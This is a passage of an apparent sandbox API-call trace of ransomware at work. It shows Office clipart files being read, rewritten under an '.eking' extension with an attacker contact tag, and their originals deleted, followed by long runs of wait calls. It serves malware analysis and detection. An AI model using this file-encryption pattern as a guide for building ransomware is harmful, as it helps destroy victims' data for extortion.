dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0274.068] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.068] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0274.069] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x13ea, lpOverlapped=0x0) returned 1 [0274.071] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x13f0, lpOverlapped=0x0) returned 1 [0274.073] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0274.073] CloseHandle (hObject=0x358) returned 1 [0274.073] CloseHandle (hObject=0x394) returned 1 [0274.073] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0 [0274.074] SetEvent (hEvent=0x2b8) returned 1 [0274.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.076] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=8926) returned 1 [0274.076] CloseHandle (hObject=0x394) returned 1 [0274.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0274.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0274.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.077] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.077] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x358 [0274.078] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x22de, lpOverlapped=0x0) returned 1 [0274.080] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x22e0, lpOverlapped=0x0) returned 1 [0274.082] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0274.082] CloseHandle (hObject=0x394) returned 1 [0274.082] CloseHandle (hObject=0x358) returned 1 [0274.083] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0 [0274.083] SetEvent (hEvent=0x2b8) returned 1 [0274.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0274.084] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=17406) returned 1 [0274.084] CloseHandle (hObject=0x358) returned 1 [0274.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0274.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0274.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0274.085] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.085] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0274.086] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x43fe, lpOverlapped=0x0) returned 1 [0274.092] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4400, lpOverlapped=0x0) returned 1 [0274.390] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0274.390] CloseHandle (hObject=0x358) returned 1 [0274.391] CloseHandle (hObject=0x394) returned 1 [0274.391] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0 [0274.391] SetEvent (hEvent=0x2b8) returned 1 [0274.443] SetEvent (hEvent=0x2bc) returned 1 [0274.443] SetEvent (hEvent=0x2b8) returned 1 [0274.443] SetEvent (hEvent=0x2c0) returned 1 [0274.443] GetProcessHeap () returned 0xc10000 [0274.443] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0x3902510 [0274.443] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.444] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0274.444] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0274.444] GetProcessHeap () returned 0xc10000 [0274.444] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902510 | out: hHeap=0xc10000) returned 1 [0274.444] SetEvent (hEvent=0x2bc) returned 1 [0274.444] SetEvent (hEvent=0x2b8) returned 1 [0274.444] SetEvent (hEvent=0x2c0) returned 1 [0274.444] GetProcessHeap () returned 0xc10000 [0274.444] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3580020 | out: hHeap=0xc10000) returned 1 [0274.723] GetProcessHeap () returned 0xc10000 [0274.723] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d708 | out: hHeap=0xc10000) returned 1 [0274.723] GetProcessHeap () returned 0xc10000 [0274.723] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3370930 | out: hHeap=0xc10000) returned 1 [0274.723] GetProcessHeap () returned 0xc10000 [0274.723] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3380938 | out: hHeap=0xc10000) returned 1 Thread: id = 69 os_tid = 0xd48 [0212.381] GetProcessHeap () returned 0xc10000 [0212.381] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc92d98 [0212.381] GetProcessHeap () returned 0xc10000 [0212.382] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33918b0 [0212.383] GetProcessHeap () returned 0xc10000 [0212.383] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc4d768 [0212.383] GetProcessHeap () returned 0xc10000 [0212.383] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x110102) returned 0x36a5020 [0212.388] GetProcessHeap () returned 0xc10000 [0212.388] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xc522c8 [0212.389] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0212.389] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0212.389] Wow64DisableWow64FsRedirection (in: OldValue=0x321fc94 | out: OldValue=0x321fc94*=0x0) returned 1 [0212.389] GetProcessHeap () returned 0xc10000 [0212.389] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc522c8 | out: hHeap=0xc10000) returned 1 [0212.389] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.389] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.389] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.389] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.390] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.390] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.390] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.390] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.390] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.390] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.391] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.391] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.391] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.391] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.391] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.391] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.392] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.392] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.392] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.392] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.392] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.393] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.393] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.393] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.393] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.393] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.393] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.394] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.394] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.394] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.394] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.394] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.394] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.395] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.395] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.395] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.395] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.395] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.396] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.396] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.396] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.396] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.397] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.397] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.397] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.397] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.398] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.398] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.398] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.398] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.399] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.399] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.399] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.399] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.399] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.400] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.400] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.400] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.400] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.400] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.400] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.402] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.402] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.402] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.402] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.402] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.402] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.402] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.403] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.403] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.403] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.403] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.403] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.404] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.404] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.404] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.404] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.404] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.405] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.405] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.405] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.405] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.406] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.406] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.406] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.406] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.406] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.407] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.407] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.407] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.407] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.407] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.407] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.408] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.408] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.408] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.408] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.408] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.408] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.409] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.409] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.409] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.409] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.409] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.409] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.410] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.410] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.410] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.410] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.410] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.410] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.411] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.411] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.411] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.411] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.411] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.412] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.412] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.412] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.412] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.413] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.413] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.413] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.413] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.596] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.596] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.596] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.596] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.596] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.596] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.597] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, 